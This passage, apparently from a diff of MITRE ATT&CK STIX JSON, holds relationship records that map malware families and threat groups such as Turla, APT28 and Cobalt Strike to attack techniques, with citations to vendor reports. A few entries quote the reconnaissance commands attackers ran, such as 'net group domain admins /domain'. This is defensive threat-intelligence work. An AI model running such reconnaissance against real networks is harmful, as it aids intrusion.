2017", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) has a function for decrypting data containing C2 configuration information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f16f0b46-3363-48bd-9a13-c8751fdedf1c", + "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "source_name": "APT15 Intezer June 2018", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0a4e270a-5641-424d-a343-437ae9548125", + "source_ref": "course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b", + "modified": "2019-07-24T19:46:16.561Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) searches for files created within a certain timeframe and whose file extension matches a predefined list.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1fbde0c8-1b00-40bf-8fef-11892d103d63", + "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "Adversaries can direct [BACKSPACE](https://attack.mitre.org/software/S0031) to execute from the command-line on infected hosts, or have [BACKSPACE](https://attack.mitre.org/software/S0031) create a reverse shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3f14994e-149d-4cca-85b8-eec0964120d3", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) uses AES to encrypt network communication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2f3ff7c9-ea14-45ad-b295-6f2f3c40cff7", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.570Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) obtains the target's IP address and local network segment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5206976b-ac4d-4286-a954-4b1ef5c20adc", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.230Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) aggregates collected data in a tmp file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f38ae08a-0d59-41e9-a4ca-891a04297299", + "source_ref": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover network configuration details using the arp -a, nbtstat -n, nbtscan, and net config commands. [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also retrieved registered RPC interface information from process memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.044Z", + "id": "relationship--9eefeafd-aca1-4e4c-8d29-ea6f9154808a", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.984Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "For early [Gazer](https://attack.mitre.org/software/S0168) versions, the compilation timestamp was faked.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--1dfbe8fe-0e7a-42a7-85f0-a94b086b470b", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used process hollowing in iexplore.exe to load the [RedLeaves](https://attack.mitre.org/software/S0153) implant.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ad7592fd-f5d3-4802-9217-dffe89a6c8eb", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.533Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) can accept multiple URLs for C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--950399e7-c9c2-4b53-bcc8-b99d0acba8d1", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.683Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) saves system information into an XML file that is then XOR-encoded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f4c6cb3f-b24c-4a1e-9bba-7b129b89a17a", + "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.", + "source_name": "ThreatExpert Agent.btz", + "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is capable of keylogging.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--1f99a883-e78f-423d-9837-2b5ebb14fe63", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "source_name": "CopyKittens Nov 2015", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use known credentials to run commands and spawn processes as another user.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--26af1f3f-806e-45bd-860a-2eead8af7d3e", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + }, + { + "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019.", + "source_name": "CobaltStrike Daddy May 2017", + "url": "https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used strategic web compromises, particularly of South Korean websites, to distribute malware. The group has also used torrent file-sharing sites to more indiscriminately disseminate malware to victims. As part of their compromises, the group has used a Javascript based profiler called RICECURRY to profile a victim's web browser and deliver malicious code accordingly.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a6d35df2-0711-4b18-b733-6200467056ec", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.737Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + }, + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--938a71e3-a9dc-4ad9-b1c4-b15d75967b8d", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.182Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3f5c880e-da8c-4ad4-9197-17a18f50dd12", + "source_ref": "course-of-action--cb825b86-3f3b-4686-ba99-44878f5d3173", + "modified": "2019-07-24T14:08:16.448Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "Rundll32.exe is used as a way of executing [Flame](https://attack.mitre.org/software/S0143) at the command-line.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ced15447-281b-4d92-941e-b5df9747a3d5", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "modified": "2019-06-06T14:35:53.985Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Crysys Skywiper", + "description": "sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.", + "url": "https://www.crysys.hu/publications/files/skywiper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[Helminth](https://attack.mitre.org/software/S0170) has checked for the local admin group domain admin group and Exchange Trusted Subsystem groups using the commands net group Exchange Trusted Subsystem /domain and net group domain admins /domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b3981ca6-7ef0-4625-99a8-9cbec731bac9", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) recursively generates a list of files within a directory and sends them back to the control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--87648492-36d0-4f94-b318-17280b101678", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) collected complete contents of the 'Pictures' folder from compromised Windows systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ea9d456c-f2b7-4d95-ab30-2a7e06586615", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:20.805Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) exfiltrates data collected from the victim mobile device.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5d55979e-d4e8-44eb-97d6-e3e78baa60c7", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "description": "[NetTraveler](https://attack.mitre.org/software/S0033) reports window names along with keylogger information to provide application context.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--10c6cc56-a028-4c2a-b24e-38d97fb4ebb7", + "source_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka \u2018Travnet\u2019). Retrieved November 12, 2014.", + "source_name": "Kaspersky NetTraveler", + "url": "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5406867b-20fe-43e3-bd64-6816ba340b60", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.512Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that creates a new service for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--bc9cfe76-2d64-4901-8e9e-c69d046cdfaa", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.434Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--33b9e38f-103c-412d-bdcf-904a91fff1e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--47f580c1-77ea-48a6-a280-71bbcb4707d0", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.549Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used various methods of process injection including hot patching.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ca429946-3c81-4773-8254-108dbdbb9da9", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.158Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Regin](https://attack.mitre.org/software/S0019) appears to have functionality to modify remote Registry information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fe3c4134-ddef-45f8-b83a-6865a01b9764", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has stored captured credential information in a file named pi.log.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.040Z", + "id": "relationship--ec6a8fde-702a-4e38-a37b-428a8ca10b18", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.001Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "source_name": "Microsoft SIR Vol 19", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "The [Komplex](https://attack.mitre.org/software/S0162) C2 channel uses HTTP POST requests.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cdca2bdf-a29b-45d5-90ff-17ab56b094a4", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "source_name": "Sofacy Komplex Trojan", + "url": 